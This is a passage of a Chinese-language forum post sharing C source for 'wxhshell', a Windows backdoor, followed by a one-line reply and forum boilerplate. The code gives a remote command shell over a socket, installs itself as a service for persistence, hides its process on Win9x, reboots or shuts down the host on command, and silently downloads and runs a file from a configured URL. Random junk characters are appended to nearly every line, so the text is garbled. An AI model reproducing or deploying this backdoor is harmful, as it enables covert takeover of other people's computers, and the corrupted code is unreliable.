  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m>djoe  
  else = OzpI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI98J"h%?  
  } Rk#p zD  
  else { i?861Hu  
<l5s[  
    switch(cmd[0]) { d)GR]^=r  
  + cZC$lo  
  // 帮助 O Ke 9/._  
  case '?': { 8ib e#jlg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o)+C4f[G4  
    break; \%_sL#?  
  } 2=,d.1E3d  
  // 安装 +2>, -V  
  case 'i': { j\iNag(   
    if(Install()) M[cAfu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )JY#8,{w  
    else V/tl-;W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .|0$?w  
    break; rJ(AO'=  
    } q);oO\<  
  // 卸载 NIHcX6Nw  
  case 'r': { A<IV"bo  
    if(Uninstall()) ; W$.>*O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`>qg2wO  
    else x>+sqFd\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KQ ^E\,@o  
    break; 4U3 `g  
    } GJ:oUi  
  // 显示 wxhshell 所在路径 <?%49  
  case 'p': { 1n[wk'}qf4  
    char svExeFile[MAX_PATH]; J^!wk9q  
    strcpy(svExeFile,"\n\r"); 5 %+epzy  
      strcat(svExeFile,ExeFile); h+w1 D}*  
        send(wsh,svExeFile,strlen(svExeFile),0); bnN&E?{hF1  
    break; ,6ae='=d  
    } D;z!C ys  
  // 重启 {vk%&{D0)  
  case 'b': { %~P3t=r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vhzz(UPUt  
    if(Boot(REBOOT)) Y.kc,~vYL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "n{JH9sA:  
    else { 4#W*f3d[@:  
    closesocket(wsh); W6):IW(E  
    ExitThread(0); 58R.`5B  
    } # )s +I2  
    break; j Q8 T  
    } bI8')a  
  // 关机 OW#G{#.6R  
  case 'd': { _-2;!L#/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]2{]TJ @B  
    if(Boot(SHUTDOWN)) nI] zRduC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -s\R2_(  
    else { js!C`]1  
    closesocket(wsh); *VUJ);7k  
    ExitThread(0); kx;7/fH  
    } ]Bs{9=2  
    break; 9A87vs4[  
    } {REGoe=W%  
  // 获取shell dh1 N/[  
  case 's': { \+&)9 !K  
    CmdShell(wsh); wUL 5"\  
    closesocket(wsh); g?*D)W U  
    ExitThread(0); nRT ]oAi  
    break; %'VzN3Q5V  
  } |io)?`pj  
  // 退出 3J8M0W   
  case 'x': { :ciD!Ly  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }PM7CZSq  
    CloseIt(wsh); d^`; tD  
    break; iiWpm E<,  
    } <9c{Kt.5(  
  // 离开 24wr=5p]Q  
  case 'q': { d%K{JkD-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (iIzoEpb8W  
    closesocket(wsh); h 92KU  
    WSACleanup(); = J]M#6N0  
    exit(1); f{u S  
    break; nzF2Waa-  
        } ?}= $zN  
  } :B\ $7+$v  
  } '8FHn~F  
h")7kjM  
  // 提示信息 /1uGsE+[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Sr_hD5!  
} /82E[P"}6R  
  } (*,R21<%  
hjhZ":I.  
  return; d= ?lPEzSA  
} h"'}Z^  
&|' NDcp  
// shell模块句柄 8k+k\V{  
int CmdShell(SOCKET sock) t;u)_C,bmP  
{ `u_k?)lK  
STARTUPINFO si; U* uMMb}$  
ZeroMemory(&si,sizeof(si));  m3^D~4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JY,oXA6O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -BWWaL  
PROCESS_INFORMATION ProcessInfo; [k&7h,  
char cmdline[]="cmd"; *SpE XO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AYfe_Dj  
  return 0; n xR\tBv  
} m\E=I5*/  
NG23  
// 自身启动模式 _>r (T4}]  
int StartFromService(void) t:xTmK&vt  
{ UMT}2d%  
typedef struct Om_ "X6  
{ E`{DX9^  
  DWORD ExitStatus; 7Jd&9&O U  
  DWORD PebBaseAddress; /LtbmV  
  DWORD AffinityMask; i6y=3k  
  DWORD BasePriority; zU!d(ge.E  
  ULONG UniqueProcessId; xMa9o  
  ULONG InheritedFromUniqueProcessId; (ak&>pk;  
}   PROCESS_BASIC_INFORMATION; ?^LG>GgV  
3(gOF&Uf9  
PROCNTQSIP NtQueryInformationProcess; Dz/MIx  
BB ::zBg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8@|{n`n]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sGpAaGY>  
!D V0u)k(  
  HANDLE             hProcess; z4zPR?%:  
  PROCESS_BASIC_INFORMATION pbi; )J2UNIgN  
wF59g38[z$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _lRIS_^;eE  
  if(NULL == hInst ) return 0; "$ISun=8  
V 'fri/Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H ]!P[?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0kw)-)=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Eb CK9  
][YuJUK8  
  if (!NtQueryInformationProcess) return 0; fKtlfQG  
YkFERIa076  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dd-a*6|x  
  if(!hProcess) return 0; Ug4o2n0sk  
E]S:F3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .YP&E1lNi  
{.DY\;Q  
  CloseHandle(hProcess); I7#JT?\}  
2]FRIy d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )HvB ceN  
if(hProcess==NULL) return 0; #B#xSmak  
xVN!w\0  
HMODULE hMod; ;vbM C74J#  
char procName[255]; | h+vdE8  
unsigned long cbNeeded; `0MQL@B  
7@m+ y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8!@}\6qM  
{wDe#c{_  
  CloseHandle(hProcess); >+>N/`BG  
rp2g./2  
if(strstr(procName,"services")) return 1; // 以服务启动 3-kL0Q["  
TmM~uc7mj  
  return 0; // 注册表启动 .[3C  
} oTcf[<   
YD{N)v  
// 主模块 PtzT><  
int StartWxhshell(LPSTR lpCmdLine) lvNi/jk  
{ nV`W0r(f'  
  SOCKET wsl; u,N<U t  
BOOL val=TRUE; " SP6o  
  int port=0; VUz+ _)  
  struct sockaddr_in door; j%J>LeTca  
^L8:..+:  
  if(wscfg.ws_autoins) Install(); 6':Egh[;  
BQ70<m2D$  
port=atoi(lpCmdLine); cqW(9A|8  
\'iy(8i  
if(port<=0) port=wscfg.ws_port; |sP0z !)b  
]&`=p{Z  
  WSADATA data; Z+[W@5q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q:T9&_|  
whrDw1>(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    !$!%era`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3f~znO  
  door.sin_family = AF_INET; .~q>e*8AH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r6:e 423  
  door.sin_port = htons(port); j'hWhLax  
3TS:H1n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gi2Fjq/Y  
closesocket(wsl); IY mkZ?cW  
return 1; ugTnz$  
} 6\-u:dvGI?  
m&be55M;  
  if(listen(wsl,2) == INVALID_SOCKET) { U}5]Vm$]  
closesocket(wsl); {LCKt/Z>P  
return 1; Mm9*$g!R  
} 5@I/+D  
  Wxhshell(wsl); AR&l9R[{N  
  WSACleanup(); )@y7 qb  
IR;3{o  
return 0; }m7$,'C%P  
U)Tl<l<  
} |oe  
}n'W0 Sa  
// 以NT服务方式启动 _9Rj,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rtl 1eJ-  
{ |B64%w>Y  
DWORD   status = 0; lLglF4  
  DWORD   specificError = 0xfffffff; 9|OOT[  
lQm7`+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $d,{I8d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =Mxu,A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b@K1;A! S  
  serviceStatus.dwWin32ExitCode     = 0; \b$Y_  
  serviceStatus.dwServiceSpecificExitCode = 0; JLjs`oq h  
  serviceStatus.dwCheckPoint       = 0; bT|-G2g7Z  
  serviceStatus.dwWaitHint       = 0; pr,1pqiAf  
HW#@e kh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YNKvR  
  if (hServiceStatusHandle==0) return; aYWUwYB$  
kX:1=+{xg  
status = GetLastError(); [~`p~@\+  
  if (status!=NO_ERROR) =U8+1b  
{ =ReSlt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pqju@FD *  
    serviceStatus.dwCheckPoint       = 0; *!3qO^b?  
    serviceStatus.dwWaitHint       = 0; >xsY"N&1i'  
    serviceStatus.dwWin32ExitCode     = status; *Ue#Sade  
    serviceStatus.dwServiceSpecificExitCode = specificError; n1PvZ~^3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EV-# E  
    return; |Z+qaq{X  
  } 4nh0bIN1  
ua_,c\iL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q]SH'Wd  
  serviceStatus.dwCheckPoint       = 0; ~lqNWL^l  
  serviceStatus.dwWaitHint       = 0; Z,M2vRj"qT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |)*!&\Ch  
} ld 1[Usaq  
0I2?fz)  
// 处理NT服务事件,比如:启动、停止 a( N;| <  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZjrBOb  
{ }ov>b2H#<  
switch(fdwControl) G{Uqp'=G  
{ LCq1F(q  
case SERVICE_CONTROL_STOP: mC?}:W M@  
  serviceStatus.dwWin32ExitCode = 0; F"3'~ 6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u^WZsW  
  serviceStatus.dwCheckPoint   = 0; HsT6 #K  
  serviceStatus.dwWaitHint     = 0; $Q,]2/o6n  
  { r@wE?hK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -@B6$XWL  
  } QA)W(1  
  return; 1Oak8 \G  
case SERVICE_CONTROL_PAUSE: 1(% 6X*z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wnQi5P+  
  break; K5??WB63B  
case SERVICE_CONTROL_CONTINUE: 'AmA3x)9u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;<xPzf  
  break; 4\uq$.f-  
case SERVICE_CONTROL_INTERROGATE: ,Z7Ky*<j  
  break; 6wXy;!2  
}; ) M(//jX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mGoC8t}iP  
} q~*|Wd'&  
#Pg?T%('`  
// 标准应用程序主函数 8p1:dTI5Pb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ln/*lLIOb  
{ Mi F( &#  
(#>Q#Izr  
// 获取操作系统版本 _)4zm  
OsIsNt=GetOsVer(); ]+ tO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k ,r*xt  
&?}h)U#:  
  // 从命令行安装 s!Iinc^p  
  if(strpbrk(lpCmdLine,"iI")) Install(); |I|,6*)xg  
6{fo.M?  
  // 下载执行文件 }wEt=zOJ  
if(wscfg.ws_downexe) { t_(S e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :X7O4?ww  
  WinExec(wscfg.ws_filenam,SW_HIDE); <xH! Yskc  
}  BrZ17  
rm|,+ {  
if(!OsIsNt) { ?}u][akM  
// 如果时win9x,隐藏进程并且设置为注册表启动 !MmbwB'  
HideProc(); w[EEA_\  
StartWxhshell(lpCmdLine); *GdJ<B$  
} RL/5 o"  
else oDG BC  
  if(StartFromService()) F#qc#s  
  // 以服务方式启动 %uo#<Ny/ I  
  StartServiceCtrlDispatcher(DispatchTable); tlI]);iE,  
else zhyf}Ta'  
  // 普通方式启动 >km$zfM2-  
  StartWxhshell(lpCmdLine); D(e,R9hPU  
i=fhK~Jd  
return 0; f;&XTF5D^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五